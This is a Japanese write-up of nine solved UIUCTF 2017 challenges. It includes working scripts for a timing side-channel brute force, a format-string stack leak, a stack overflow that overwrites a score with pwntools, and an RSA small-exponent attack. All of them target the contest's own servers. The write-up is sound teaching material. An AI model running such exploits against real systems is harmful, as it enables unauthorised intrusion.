チーム Harekaze で UIUCTF 2017 に参加しました。最終的にチームで 1750 点を獲得し、順位は 13 位 (得点 163 チーム中) でした。うち、私は 9 問を解いて 1750 点を入れました。
以下、解いた問題の write-up です。
Go stalk the organizers on twitter for a bit and see what you find.
作問者は Eric Hennenfent さんということなので、Twitter アカウントからツイートを探してみるとフラグが見つかりました。
flag{71dedc47f69e66164f7a32da27b7a660}
— Eric Hennenfent (@Eric_Hennenfent) 2015年10月18日
flag{71dedc47f69e66164f7a32da27b7a660}
Infosec twitter is a remarkable place.
https://www.youtube.com/watch?v=e-ORhEE9VVg
この CTF の Twitter アカウント (@uiuctf) へのリプライを探していると、フラグが見つかりました。
@UIUCTF flag{-uiuc.tf_l0v3s_taylor-} https://t.co/6eA38JE9sy
— SwiftOnSecurity (@SwiftOnSecurity) 2017年4月28日
flag{-uiuc.tf_l0v3s_taylor-}
サーバのソースの一部が与えられました。
from time import sleep
from itertools import zip_longest
from flag import flag
def compare_flag(input_flag):
if(len(input_flag) == 0):
return False
for left, right in zip_longest(input_flag, flag):
if(left != right):
return False
sleep(0.25) # prevent brute forcing
return True
フラグが hoge
の場合、haaa
を入力すると 0.25 秒 sleep、hoaa
を入力すると 0.50 秒 sleep … という感じで、合っている文字数が多ければ多いほど sleep する時間が長くなります。
総当りするスクリプトを書いてしまいましょう。
import time
import string
import sys
from pwn import *
s = remote('challenge.uiuc.tf', 11340)
res = sys.argv[1] if len(sys.argv) > 1 else ''
for c in string.lowercase + string.digits + '_{}':
s.recvuntil('> ')
s.sendline(res + c)
start = time.time()
s.recvline()
end = time.time()
print c, int((end - start) * 100)
s.close()
$ python s.py "flag{trc"
[+] Opening connection to challenge.uiuc.tf on port 11340: Done
a 215
b 216
c 215
d 216
e 215
f 214
g 215
h 240
i 214
...
$ python s.py "flag{trch"
a 239
b 239
c 243
d 240
e 240
f 241
g 240
h 239
i 241
j 240
k 239
l 239
m 241
n 239
o 240
p 240
q 240
r 267
s 239
...
flag{trchrus}
packed.py
という Python のコードが与えられました。packed.py
は以下のような内容でした。
import marshal, zlib, base64, itertools
def xor_strings(_left, _k):
out = b''
for l, r in zip(_left, itertools.cycle(_k)):
out += (l ^ ord(r)).to_bytes(1, byteorder='big')
return out
def YET_eval_code(p1, p2):
YET_code = marshal.loads(zlib.decompress(xor_strings(base64.b64decode(p2), p1)))
eval(YET_code)
YET_eval_code("YET", b'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')
バイトコードを実行しているようです。dis
を import して、eval
を dis.dis
に差し替えてみましょう。
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (marshal)
6 STORE_NAME 0 (marshal)
8 LOAD_CONST 0 (0)
10 LOAD_CONST 1 (None)
12 IMPORT_NAME 1 (zlib)
14 STORE_NAME 1 (zlib)
16 LOAD_CONST 0 (0)
18 LOAD_CONST 1 (None)
20 IMPORT_NAME 2 (base64)
22 STORE_NAME 2 (base64)
24 LOAD_CONST 0 (0)
26 LOAD_CONST 1 (None)
28 IMPORT_NAME 3 (itertools)
30 STORE_NAME 3 (itertools)
2 32 LOAD_CONST 2 (<code object xor_strings at 0x7f13b02998a0, file "YETpacked", line 2>)
34 LOAD_CONST 3 ('xor_strings')
36 MAKE_FUNCTION 0
38 STORE_NAME 4 (xor_strings)
8 40 LOAD_CONST 4 (<code object CLEAR_eval_code at 0x7f13b0299930, file "YETpacked", line 8>)
42 LOAD_CONST 5 ('CLEAR_eval_code')
44 MAKE_FUNCTION 0
46 STORE_NAME 5 (CLEAR_eval_code)
12 48 LOAD_NAME 5 (CLEAR_eval_code)
50 LOAD_CONST 6 ('CLEAR')
52 LOAD_CONST 7 (b'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')
54 CALL_FUNCTION 2
56 POP_TOP
58 LOAD_CONST 1 (None)
60 RETURN_VALUE
O9AI...
という長いバイト列を base64 デコード、CLEAR
と xor して zlib.decompress
するとまた似たようなバイトコードが出てきました。これを何度か繰り返すと以下のようなバイトコードが出てきました。
1 0 LOAD_CONST 0 (1338)
2 STORE_NAME 0 (x0)
2 4 LOAD_CONST 1 (413)
6 STORE_NAME 1 (x1)
3 8 LOAD_CONST 2 (3.5699)
10 STORE_NAME 2 (r)
4 12 LOAD_NAME 0 (x0)
14 STORE_NAME 3 (xn)
5 16 LOAD_NAME 1 (x1)
18 STORE_NAME 4 (xk)
7 20 LOAD_CONST 3 ('')
22 STORE_NAME 5 (accumulated)
9 24 LOAD_NAME 6 (input)
26 LOAD_CONST 4 ('I N P U T: ')
28 CALL_FUNCTION 1
30 STORE_NAME 7 (user)
10 32 SETUP_EXCEPT 14 (to 48)
11 34 LOAD_NAME 8 (bytes)
36 LOAD_ATTR 9 (fromhex)
38 LOAD_NAME 7 (user)
40 CALL_FUNCTION 1
42 STORE_NAME 7 (user)
44 POP_BLOCK
46 JUMP_FORWARD 36 (to 84)
12 >> 48 DUP_TOP
50 LOAD_NAME 10 (ValueError)
52 COMPARE_OP 10 (exception match)
54 POP_JUMP_IF_FALSE 82
56 POP_TOP
58 POP_TOP
60 POP_TOP
13 62 LOAD_NAME 11 (print)
64 LOAD_CONST 5 ('Non-hex byte entered!')
66 CALL_FUNCTION 1
68 POP_TOP
14 70 LOAD_NAME 12 (exit)
72 LOAD_CONST 14 (-1)
74 CALL_FUNCTION 1
76 POP_TOP
78 POP_EXCEPT
80 JUMP_FORWARD 2 (to 84)
>> 82 END_FINALLY
15 >> 84 LOAD_CONST 7 (b'\x8b*<LH~\xdc\xc4\xfc\xad\xff9\xe8h\x8d^\xf2\xc3\xa7\xc9&\x8f \xeaE_\xb0T\x05\xe5\xff\x9cD\x9e\x84\x13k\x0f~\xb5\x9cUm\x08\\')
86 STORE_NAME 13 (flag)
16 88 SETUP_LOOP 152 (to 242)
90 LOAD_NAME 14 (zip)
92 LOAD_NAME 13 (flag)
94 LOAD_NAME 7 (user)
96 CALL_FUNCTION 2
98 GET_ITER
>> 100 FOR_ITER 138 (to 240)
102 UNPACK_SEQUENCE 2
104 STORE_NAME 15 (flagchar)
106 STORE_NAME 16 (userchar)
17 108 LOAD_NAME 2 (r)
110 LOAD_NAME 3 (xn)
112 BINARY_MULTIPLY
114 LOAD_CONST 6 (1)
116 LOAD_NAME 3 (xn)
118 BINARY_SUBTRACT
120 BINARY_MULTIPLY
122 LOAD_NAME 0 (x0)
124 BINARY_MODULO
126 STORE_NAME 3 (xn)
18 128 LOAD_NAME 17 (int)
130 LOAD_NAME 3 (xn)
132 LOAD_CONST 15 (100)
134 BINARY_MULTIPLY
136 CALL_FUNCTION 1
138 LOAD_CONST 10 (255)
140 BINARY_MODULO
142 STORE_NAME 3 (xn)
20 144 LOAD_NAME 2 (r)
146 LOAD_NAME 4 (xk)
148 BINARY_MULTIPLY
150 LOAD_CONST 6 (1)
152 LOAD_NAME 4 (xk)
154 BINARY_SUBTRACT
156 BINARY_MULTIPLY
158 LOAD_NAME 1 (x1)
160 BINARY_MODULO
162 STORE_NAME 4 (xk)
21 164 LOAD_NAME 17 (int)
166 LOAD_NAME 4 (xk)
168 LOAD_CONST 16 (100)
170 BINARY_MULTIPLY
172 CALL_FUNCTION 1
174 LOAD_CONST 10 (255)
176 BINARY_MODULO
178 STORE_NAME 4 (xk)
23 180 LOAD_NAME 18 (chr)
182 LOAD_NAME 3 (xn)
184 LOAD_NAME 15 (flagchar)
186 BINARY_XOR
188 CALL_FUNCTION 1
190 STORE_NAME 19 (flagbyte)
24 192 LOAD_NAME 18 (chr)
194 LOAD_NAME 4 (xk)
196 LOAD_NAME 16 (userchar)
198 BINARY_XOR
200 CALL_FUNCTION 1
202 STORE_NAME 20 (userbyte)
26 204 LOAD_NAME 19 (flagbyte)
206 LOAD_NAME 20 (userbyte)
208 COMPARE_OP 3 (!=)
210 POP_JUMP_IF_FALSE 230
27 212 LOAD_NAME 11 (print)
214 LOAD_CONST 11 ('Still in the woods')
216 CALL_FUNCTION 1
218 POP_TOP
28 220 LOAD_NAME 12 (exit)
222 LOAD_CONST 17 (-1)
224 CALL_FUNCTION 1
226 POP_TOP
228 JUMP_ABSOLUTE 100
30 >> 230 LOAD_NAME 5 (accumulated)
232 LOAD_NAME 20 (userbyte)
234 INPLACE_ADD
236 STORE_NAME 5 (accumulated)
238 JUMP_ABSOLUTE 100
>> 240 POP_BLOCK
32 >> 242 LOAD_NAME 11 (print)
244 LOAD_CONST 12 ('Looking at it now, it all seems so simple:')
246 LOAD_NAME 5 (accumulated)
248 CALL_FUNCTION 2
250 POP_TOP
252 LOAD_CONST 13 (None)
254 RETURN_VALUE
これをデコンパイルすると次のようなコードになります。
x0 = 1338
x1 = 413
r = 3.5699
xn = x0
xk = x1
accumulated = ''
user = input('I N P U T: ')
try:
user = bytes.fromhex(user)
except ValueError:
print('Non-hex byte entered!')
exit(-1)
flag = b'\x8b*<LH~\xdc\xc4\xfc\xad\xff9\xe8h\x8d^\xf2\xc3\xa7\xc9&\x8f \xeaE_\xb0T\x05\xe5\xff\x9cD\x9e\x84\x13k\x0f~\xb5\x9cUm\x08\\'
for flagchar, userchar in zip(flag, user):
xn = (r * xn) * (1 - xn) % x0
xn = int(xn * 100) % 255
xk = (xk * r) * (1 - xk) % x1
xk = int(xk * 100) % 255
flagbyte = chr(xn ^ flagchar)
userbyte = chr(xk ^ userchar)
if flagbyte != userbyte:
print('Still in the woods')
exit(-1)
accumulated += userbyte
print('Looking at it now, it all seems so simple:', accumulated)
適当にいじってフラグを手に入れましょう。
x0 = 1338
x1 = 413
r = 3.5699
xn = x0
xk = x1
accumulated = ''
flag = b'\x8b*<LH~\xdc\xc4\xfc\xad\xff9\xe8h\x8d^\xf2\xc3\xa7\xc9&\x8f \xeaE_\xb0T\x05\xe5\xff\x9cD\x9e\x84\x13k\x0f~\xb5\x9cUm\x08\\'
for flagchar in flag:
xn = (r * xn) * (1 - xn) % x0
xn = int(xn * 100) % 255
xk = (xk * r) * (1 - xk) % x1
xk = int(xk * 100) % 255
flagbyte = chr(xn ^ flagchar)
accumulated += flagbyte
print(accumulated)
$ python s.py
flag{th3_m0nst3rs_turned_0ut_2_be_ju5t_tr33s}
flag{th3_m0nst3rs_turned_0ut_2_be_ju5t_tr33s}
nc challenge.uiuc.tf 11347
というコマンドが与えられました。
試しに接続してみると、base64 エンコードされた ELF が降ってきました。デコードして実行してみましょう。
$ ./1.bin
a
sounds fake but ok
入力が求められたので適当に入力すると、sounds fake but ok
と出力されました。ltrace
を使って実行してみましょう。
$ ltrace ./1.bin
__libc_start_main(0x400626, 1, 0x7ffd5c491ee8, 0x400710 <unfinished ...>
read(0hoge
, "hoge\n", 17) = 5
strlen("msbruddxvxtayggvf") = 17
puts("sounds fake but ok"sounds fake but ok
) = 19
+++ exited (status 1) +++
strlen("msbruddxvxtayggvf")
とあります。この文字列を入力してみましょう。
$ ./1.bin
msbruddxvxtayggvf
you got it!
今度は you got it!
と出力されました。これをサーバで入力するとまた別の base64 エンコードされた ELF が降ってきました。手作業でやるのは面倒なので自動化してしまいましょう。
import re
from subprocess import *
from pwn import *
def get_binary(s, t):
r = s.recvline()
if 'You got all the crackmes we have right now!' in r:
s.interactive()
r += s.recvuntil("What's the flag?")
if 'error' in r:
s.sendline('a')
get_binary(s, t)
return
r = r[r.index('f0VM'):r.index("What's the flag?")]
with open(t, 'wb') as f:
f.write(r.decode('base64'))
call(['chmod', '+x', t])
s = remote('challenge.uiuc.tf', 11347)
i = 0
while True:
get_binary(s, '1.bin')
p = Popen(['ltrace', './1.bin'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
_, e = p.communicate('hoge')
o = re.findall(r'strlen\("([a-z]+)"\)', e)[0]
log.info('%d: %s' % (i, o))
s.sendline(o)
s.recvline()
log.info(s.recvline())
i += 1
s.close()
$ python s.py
[+] Opening connection to challenge.uiuc.tf on port 11347: Done
[*] 0: rbrrkuoivtrvccvtm
[*] Seems legit
[*] 1: rmcxrguyzxbibsgef
[*] Seems legit
[*] 2: ctwurlghkgmxmrajs
[*] Seems legit
...
[*] 100: jacdwvhotqadtcnpr
[*] Seems legit
[*] 101: msbruddxvxtayggvf
[*] Seems legit
[*] Switching to interactive mode
Success, flag is flag{powered_up_like_a_mophie}
flag{powered_up_like_a_mophie}
encrypt.py
という Python のコードと、encryptme.txt.out
というそのコードを使って暗号化されたバイナリが与えられます。encrypt.py
は以下のような内容でした。
import sys, itertools
if(len(sys.argv) != 3):
print("Usage: [FILE] [KEY]")
exit(-1)
filename = sys.argv[1]
key = sys.argv[2]
with open(filename, 'rb') as plaintext:
raw = plaintext.read()
print(len(raw))
with open(filename + '.out', 'wb') as ciphertext:
for l, r in zip(raw, itertools.cycle(key)):
ciphertext.write( (l ^ ord(r)).to_bytes(1, byteorder='big') )
ただの xor のようです。xortool を使ってみましょう。
$ xortool encryptme.txt.out -l 9 -c 20
2 possible key(s) of length 9:
\x14UICK\x16AND
\x14UICKSAND
Found 2 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
QUICKSAND
を鍵として xor してみるとフラグが出てきました。
flag{st8_0f_grac3}
babyrsa.zip
という zip ファイルが与えられます。展開すると babyrsa.py
という Python のコード、babyrsa.txt
というそのコードを実行した出力が出てきました。
babyrsa.py
は以下のような内容でした。
#! /usr/bin/env python2
from Crypto.PublicKey import RSA
key = RSA.generate(4096, e=5)
msg = "welcome to uiuctf!\nyour super secret flag is: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
m = int(msg.encode("hex"), 16)
c = pow(m, key.e, key.n)
f = open("babyrsa.txt", "w")
print >> f, "n = {}".format(key.n)
print >> f, "e = {}".format(key.e)
print >> f, "c = {}".format(c)
与えられた c の 5 乗根を計算するとフラグが得られました。
flag{c4n_w3_get_s0m3b0dy_t0_sm1th_some_c0pper_pls}
goodluck という ELF ファイルが与えられます。どんなファイルか調べてみましょう。
$ file goodluck
goodluck: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped
$ ./goodluck
what's the flag
%x
You answered:
38fdf000
But that was totally wrong lol get rekt
FSB が出来るようです。フラグを探してみましょう。
$ nc challenge.uiuc.tf 11342
what's the flag
%10$llx
You answered:
776c617b67616c66
But that was totally wrong lol get rekt
$ nc challenge.uiuc.tf 11342
what's the flag
%11$llx
You answered:
657669675f737961
But that was totally wrong lol get rekt
$ nc challenge.uiuc.tf 11342
what's the flag
%12$llx
You answered:
7d253031315f
But that was totally wrong lol get rekt
$ nc challenge.uiuc.tf 11342
what's the flag
%13$llx
You answered:
1a4e752176817900
But that was totally wrong lol get rekt
これを繋げるとフラグが得られました。
flag{always_give_110%}
challenge.uiuc.tf 11343
というサーバの情報だけが与えられました。接続してみましょう。
$ nc challenge.uiuc.tf 11343
Let's play snekquiz! This snek is involved in rituals in Myanmar
hoge
OK, now this snek is the most popular pet snek in the world
fuga
Now this SNAKE backstabbed the greatest creative genius of the 21st century
piyo
On question one, the answer was king cobra
You were WRONG
On question one, the answer was ball python
You were WRONG
On question one, the answer was taylor swift
You were WRONG
You only scored 0, you need 5 points for the flag
クイズが出来るようです。もう一度接続して全問正解してみましょう。
$ nc challenge.uiuc.tf 11343
Let's play snekquiz! This snek is involved in rituals in Myanmar
king cobra
OK, now this snek is the most popular pet snek in the world
ball python
Now this SNAKE backstabbed the greatest creative genius of the 21st century
taylor swift
On question one, the answer was king cobra
You were correct!
On question one, the answer was ball python
You were correct!
On question one, the answer was taylor swift
You were correct!
You only scored 3, you need 5 points for the flag
全問正解しても、フラグを手に入れるにはスコアが 2 点足りないようです。オーバーフローできないか試してみましょう。
$ gdb -batch -ex 'pattern_create 20'
'AAA%AAsAABAA$AAnAACA'
$ nc challenge.uiuc.tf 11343
Let's play snekquiz! This snek is involved in rituals in Myanmar
a
OK, now this snek is the most popular pet snek in the world
a
Now this SNAKE backstabbed the greatest creative genius of the 21st century
AAA%AAsAABAA$AAnAACA
On question one, the answer was king cobra
You were WRONG
On question one, the answer was ball python
You were WRONG
On question one, the answer was taylor swift
You were WRONG
Score greater than 5 detected! You must be cheating with a score like 1094926657
$ gdb -batch -ex 'pattern_offset 1094926657'
1094926657 found at offset: 16
スコアが書き換えられてしまいました。5 点に書き換えてしまいましょう。
from pwn import *
s = remote('challenge.uiuc.tf', 11343)
print s.recvline()
s.sendline('a')
print s.recvline()
s.sendline('a')
print s.recvline()
s.sendline('A' * 16 + p32(5))
print s.recvall()
s.close()
$ python s.py
[+] Opening connection to challenge.uiuc.tf on port 11343: Done
Let's play snekquiz! This snek is involved in rituals in Myanmar
OK, now this snek is the most popular pet snek in the world
Now this SNAKE backstabbed the greatest creative genius of the 21st century
[+] Receiving all data: Done (246B)
[*] Closed connection to challenge.uiuc.tf port 11343
On question one, the answer was king cobra
You were WRONG
On question one, the answer was ball python
You were WRONG
On question one, the answer was taylor swift
You were WRONG
Amazing! Here's the flag
flag{remember_remember_the_16th_of_july}
flag{remember_remember_the_16th_of_july}